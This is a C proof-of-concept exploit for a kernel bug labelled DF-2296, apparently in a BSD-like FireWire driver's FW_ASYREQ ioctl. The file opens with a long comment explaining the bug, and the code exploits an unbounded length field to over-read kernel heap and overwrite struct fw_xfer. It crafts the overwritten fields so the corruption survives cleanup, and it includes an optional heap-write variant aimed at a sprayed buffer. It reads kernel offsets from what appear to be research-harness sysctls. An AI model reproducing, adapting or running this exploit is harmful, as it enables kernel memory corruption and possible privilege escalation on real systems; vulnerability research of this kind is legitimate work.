/*
 * DF-2296 PoC -- FW_ASYREQ bcopy over-read (fwdev.c:521-587).
 *
 *   pay_len = MAX(0, asyreq->req.len - tinfo->hdr_len);   fwdev.c:530
 *   ...
 *   bcopy((char *)fp + tinfo->hdr_len,
 *       (void *)&xfer->send.payload, pay_len);            fwdev.c:560
 *
 * req.len (u16) is never bounded by sizeof(asyreq->data) = 2048.  The
 * ioctl data buffer staged by sys_ioctl is exactly sizeof(struct
 * fw_asyreq) = 2084 bytes (kmalloc M_IOCTLOPS, sys_generic.c:675), so
 * req.len > 2064 makes the bcopy read past it into adjacent kernel heap.
 *
 * STOCK-KERNEL COMPATIBILITY NOTE (verified the hard way): fwdev.c:561
 * copies into (void *)&xfer->send.payload -- the ADDRESS OF THE POINTER
 * FIELD, not the payload buffer -- so the copy also smashes the tail of
 * struct fw_xfer (send.payload/pay_len/spd, recv.*, mbuf, link, malloc)
 * and overruns the fw_xfer allocation itself.  To walk the full stock
 * ioctl path without dying at cleanup, the request data[] is crafted so
 * the smashed fields stay valid:
 *   data[0..1] = 0        -> send.payload := NULL (fw_xfer_free_buf
 *                            NULL-guards the kfree)
 *   data[2]    = lenval   -> smashed send.pay_len := lenval (must satisfy
 *                            the fw_asyreq MAXREC gate and len check)
 *   data[4]    = tcode 2 (WRES) in smashed recv.hdr -> response path
 *                            takes the (flag & FWTI_TLABEL)==0 early-out
 *   data[8..9] = 0        -> recv.payload := NULL
 *   data[12..13]= 0       -> mbuf := NULL (start() path taken)
 *   data[18..19]= &M_FWXFER (hw.fwh_mfwxfer, no KASLR) -> xfer->malloc
 *                            valid for the final kfree(xfer, xfer->malloc)
 *   pkt[3]     = lenval << 16  (fw_pkt rresb.len is the HIGH 16 bits)
 *
 * usage: poc_2296 <reqlen> <lenval> [recvpaylen]
 *   reqlen   asyreq->req.len (pay_len = reqlen-16 drives the bcopy)
 *   lenval   value planted into the smashed send.pay_len (gate/check)
 *   recvpaylen if nonzero, smashed recv.hdr tcode=1 + recv.pay_len =
 *            this -> exercises the response-copy path (write variant)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <stddef.h>

struct fw_eui64 { u_int32_t hi, lo; };
struct fw_asyreq {
	struct fw_asyreq_t {
		unsigned char sped;
		unsigned int type;
		unsigned short len;
		union { struct fw_eui64 eui; } dst;
	} req;
	u_int32_t pkt[4];	/* struct fw_pkt header (16 bytes) */
	u_int32_t data[512];
};
#define FW_ASYREQ	_IOWR('S', 92, struct fw_asyreq)

#define FWASREQNODE	0
#define FWTCODE_WREQB	1

_Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset");
_Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset");
_Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size");

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) != 0) {
		perror(name);
		exit(1);
	}
	return (v);
}

int
main(int argc, char **argv)
{
	struct fw_asyreq asy;
	unsigned long reqlen = (argc > 1) ? strtoul(argv[1], NULL, 0) : 4096;
	unsigned long lenval = (argc > 2) ? strtoul(argv[2], NULL, 0) : 4080;
	unsigned long recvpl = (argc > 3) ? strtoul(argv[3], NULL, 0) : 0;
	unsigned long pay_len = reqlen - 16;
	unsigned long mfwxfer = sysctl_ul("hw.fwh_mfwxfer");
	u_int i;
	int fd, rc;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2296: FW_ASYREQ req.len=%lu -> bcopy pay_len=%lu "
	    "(data[] capacity 2048, staging buffer 2084); lenval=%lu "
	    "recvpaylen=%lu M_FWXFER=%#lx (uid=%d gid=%d)\n",
	    reqlen, pay_len, lenval, recvpl, mfwxfer, getuid(), getgid());

	fd = open("/dev/fw0.0", O_RDWR);
	if (fd < 0) { perror("open /dev/fw0.0"); return 1; }

	memset(&asy, 0, sizeof(asy));
	asy.req.sped = 2;
	asy.req.type = FWASREQNODE;
	asy.req.len = (unsigned short)reqlen;
	asy.pkt[0] = (0xffc0u << 16) | (0u << 8) | (FWTCODE_WREQB << 4) | 0;
	asy.pkt[1] = 0x0001c0de;
	asy.pkt[2] = 0xf0000910;
	asy.pkt[3] = (u_int32_t)(lenval << 16);	/* rresb.len = high 16 */

		/* data[] doubles as the smash pattern.  The fw_xfer tail layout is
	 * taken from the harness sysctls (exact kernel offsetof values),
	 * so the fields smashed by the fwdev.c:561 bcopy stay valid:
	 * send.payload := NULL, send.pay_len := lenval, recv.hdr tcode,
	 * recv.payload (NULL or a sprayed chunk), mbuf := NULL,
	 * xfer->malloc := &M_FWXFER. */
	{
#define WO(off) (((off) - off_sp) / 4)
		u_int off_sp = sysctl_ul("hw.fwh_off_sendpayload");
		u_int off_rh = sysctl_ul("hw.fwh_off_recvhdr");
		u_int off_rp = sysctl_ul("hw.fwh_off_recvpayload");
		u_int off_rl = sysctl_ul("hw.fwh_off_recvpaylen");
		u_int off_mb = sysctl_ul("hw.fwh_off_mbuf");
		u_int off_ml = sysctl_ul("hw.fwh_off_malloc");

		printf("DF-2296: fw_xfer send.payload=+%u recv.hdr=+%u "
		    "recv.payload=+%u recv.pay_len=+%u mbuf=+%u malloc=+%u\n",
		    off_sp, off_rh, off_rp, off_rl, off_mb, off_ml);
		for (i = 0; i < 512; i++)
			asy.data[i] = 0x41000000u | i;
		asy.data[WO(off_sp)] = 0;		/* send.payload lo */
		asy.data[WO(off_sp + 4)] = 0;		/* send.payload hi */
		asy.data[WO(off_sp) + 2] = (u_int32_t)lenval; /* pay_len/spd */
		asy.data[WO(off_rh)] = recvpl ? (FWTCODE_WREQB << 4) : (2u << 4);
		asy.data[WO(off_rp)] = 0;		/* recv.payload lo */
		asy.data[WO(off_rp + 4)] = 0;		/* recv.payload hi */
		asy.data[WO(off_rl)] = 0;		/* recv.pay_len */
		asy.data[WO(off_mb)] = 0;		/* mbuf lo */
		asy.data[WO(off_mb + 4)] = 0;		/* mbuf hi */
		asy.data[WO(off_ml)] = (u_int32_t)mfwxfer; /* malloc lo */
		asy.data[WO(off_ml + 4)] = (u_int32_t)(mfwxfer >> 32);
		if (recvpl) {
			unsigned long rbuf = sysctl_ul("hw.fwh_spray_last");
			asy.data[WO(off_rp)] = (u_int32_t)rbuf;
			asy.data[WO(off_rp + 4)] = (u_int32_t)(rbuf >> 32);
			asy.data[WO(off_rl)] = (u_int32_t)recvpl;
		}
	}

	rc = ioctl(fd, FW_ASYREQ, &asy);
	printf("DF-2296: ioctl rc=%d errno=%d (%s)\n", rc, errno,
	    rc == 0 ? "full path completed (fw_asyreq/fw_asystart ran)" :
	    "rejected by fw_asyreq AFTER the fwdev.c:560 bcopy already ran");
	return 0;
}
